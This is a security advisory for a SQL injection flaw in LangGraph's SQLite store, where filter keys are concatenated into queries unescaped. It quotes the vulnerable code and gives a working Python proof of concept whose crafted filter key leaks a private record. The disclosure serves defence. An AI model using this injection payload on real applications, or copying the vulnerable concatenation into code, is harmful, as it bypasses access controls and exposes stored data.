PYSEC-2026-1529

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it:

1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")